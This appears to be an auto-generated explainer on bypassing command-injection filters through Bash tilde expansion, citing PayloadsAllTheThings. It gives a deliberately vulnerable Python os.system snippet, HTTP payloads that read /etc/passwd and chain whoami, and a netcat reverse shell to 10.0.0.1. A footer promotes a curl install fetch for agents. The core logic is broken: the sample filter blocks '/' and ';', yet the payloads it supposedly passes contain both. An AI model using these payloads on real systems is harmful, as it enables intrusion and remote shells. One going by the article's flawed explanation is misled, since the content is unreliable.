Command Injection Filter Bypass Using Tilde Expansion: Exploiting Bash Path Expansion

Bash tilde expansion converts patterns like ~+ into absolute paths containing slashes after input validation filters have already approved the string, allowing attackers to inject forbidden characters and execute arbitrary commands.

Command injection vulnerabilities remain a critical threat when applications pass user input directly to system shells. The swisskyrepo/PayloadsAllTheThings repository documents a sophisticated bypass technique that exploits Bash's tilde expansion mechanism to circumvent filters designed to block dangerous characters. This method specifically targets naive validation logic that inspects input for slashes or spaces before the shell performs its own internal expansions.

How Tilde Expansion Subverts Input Validation

Bash performs tilde expansion on special tilde-prefixes immediately before executing a command, converting them into absolute directory paths. When applications sanitize input for path separators like / but allow tilde characters to pass through, the subsequent shell expansion reintroduces those very characters into the executed command string.

The Bash Expansion Mechanism

The shell recognizes several tilde prefixes that expand to directory paths containing slashes:

Prefix Expansion Target Example Result
~ Current user's home directory ($HOME) /home/user
~+ Current working directory ($PWD) /var/www/html
~- Previous working directory ($OLDPWD) /tmp

These expansions occur after application-level filters inspect the raw input but before the operating system executes the final command. An attacker supplying ~+ bypasses a filter checking for / because the raw string contains only a tilde and plus sign. Once Bash processes the command, the expansion injects the full absolute path—complete with forbidden slash characters—into the execution context.

Why Simple Filters Fail

Consider a vulnerable Python application that rejects inputs containing spaces or slashes:

import os
import re

user_input = request.GET.get("file")
if re.search(r'[ /;]', user_input):
    raise ValueError("Invalid characters detected")

os.system("cat " + user_input)

If the attacker submits ~+/etc/passwd, the regex validation sees only ~+/etc/passwd without spaces or literal slashes in the tilde prefix. The filter allows the payload to pass. When os.system() invokes Bash, the shell expands ~+ to /var/www/html, transforming the final executed command into:

cat /var/www/html/etc/passwd

This timing differential between filter execution and shell expansion creates the vulnerability window that tilde expansion exploits.

Practical Exploitation Scenarios

Attackers leverage tilde expansion to achieve three primary objectives: accessing arbitrary files, chaining additional commands, and bypassing character-specific restrictions.

Reading Sensitive Files via Path Injection

When the working directory is predictable or controllable, tilde expansion constructs valid absolute paths to sensitive system files. The payload ~+/etc/passwd effectively prepends the current working directory to the target file path.

GET /vuln?file=~+/etc/passwd HTTP/1.1
Host: vulnerable.example

If the application runs from /var/www/html, Bash executes:

cat /var/www/html/etc/passwd

While this specific example attempts to read a non-existent nested path, the technique succeeds when combined with directory traversal sequences or when the working directory itself is the root filesystem.

Command Chaining After Expansion

Tilde expansion becomes lethal when combined with command delimiters. By terminating the first command with a semicolon immediately after the expanded path, attackers inject arbitrary secondary commands that execute with the application's privileges.

GET /vuln?file=~+;whoami HTTP/1.1
Host: vulnerable.example

The resulting shell execution becomes:

cat /var/www/html;whoami

The cat command processes the directory path (typically resulting in an error), and the shell immediately executes whoami, revealing the effective user identity of the compromised service.

Bypassing Space and Slash Restrictions

Web Application Firewalls (WAFs) and input filters often strictly prohibit spaces and forward slashes. Since ~+ contains neither character in its raw form, it passes validation while still providing the path separator required for command injection via expansion.

GET /vuln?file=~+;nc%20-e%20/bin/sh%2010.0.0.1%2012345 HTTP/1.1
Host: vulnerable.example

After URL decoding and Bash expansion, the command resolves to:

cat /var/www/html;nc -e /bin/sh 10.0.0.1 12345

This spawns a reverse shell despite the original payload containing no literal spaces or slashes before shell processing.

Source Reference in PayloadsAllTheThings

The swisskyrepo/PayloadsAllTheThings repository catalogs this technique in the Command Injection collection. Specifically, the Command Injection/README.md file contains the canonical documentation for bypassing filters using tilde expansion between lines 22 and 28.

According to the repository source code, the technique is listed under filter bypass methods alongside other shell expansion tricks. The documentation emphasizes that ~+ and ~- are particularly valuable because they expand to the current and previous working directories respectively, guaranteed to contain at least one slash character in their expanded form.

Security researchers reference this file path when constructing test cases for command injection vulnerabilities:

  • File: Command Injection/README.md
  • Section: Bypass With Tilde Expansion (lines 22-28)
  • Repository: swisskyrepo/PayloadsAllTheThings

Summary

  • Tilde expansion occurs after application filters but before command execution, creating a bypass window for blocked characters.
  • The prefixes ~+ and ~- expand to $PWD and $OLDPWD, injecting absolute paths containing slashes into filtered input.
  • Attackers combine tilde expansion with command delimiters like ; to execute arbitrary commands even when spaces and slashes are explicitly rejected.
  • The PayloadsAllTheThings repository documents this technique in Command Injection/README.md as a standard filter evasion method.
  • Proper mitigation requires sanitizing input after shell expansion or avoiding shell execution entirely by using parameterized APIs.

Frequently Asked Questions

What is tilde expansion in Bash?

Tilde expansion is a shell feature that converts specific tilde-prefixed strings into directory paths before command execution. The tilde character ~ typically expands to the current user's home directory, while ~+ expands to the current working directory and ~- expands to the previous working directory. This expansion happens during the shell's word expansion phase, after the command line has been tokenized but before the command is actually executed.

How does tilde expansion bypass input filters?

Input filters inspect the raw string provided by the user, often rejecting characters like / or ; that indicate path traversal or command chaining. Since raw tilde patterns like ~+ contain only safe characters (tilde and plus), they pass validation. When Bash subsequently executes the command, it expands these patterns into absolute paths like /var/www/html, reintroducing the forbidden slash characters into the final command string that the filter never sees.

What are common tilde expansion payloads for command injection?

The most effective payloads documented in PayloadsAllTheThings include ~+/etc/passwd for file access attempts and ~+;id for command execution. The ~+ prefix is preferred over plain ~ because it expands to the current working directory regardless of the user account running the process. For systems with strict length limits, ~- provides similar functionality while saving one character compared to ~+.

How can developers prevent tilde expansion attacks?

Developers must avoid passing user input directly to shell interpreters via functions like os.system() or subprocess.call() with shell=True. Instead, use parameterized APIs that accept command arguments as arrays, bypassing shell expansion entirely. If shell execution is unavoidable, validate input after performing the expansion yourself or use strict allowlists that reject tilde characters entirely, not just the characters they might expand into.

Have a question about this repo?

These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:

Share the following with your agent to get started:
curl -s "https://instagit.com/install.md"

Works with
Claude Codex Cursor VS Code OpenClaw Any MCP Client

Maintain an open-source project? Get it listed too →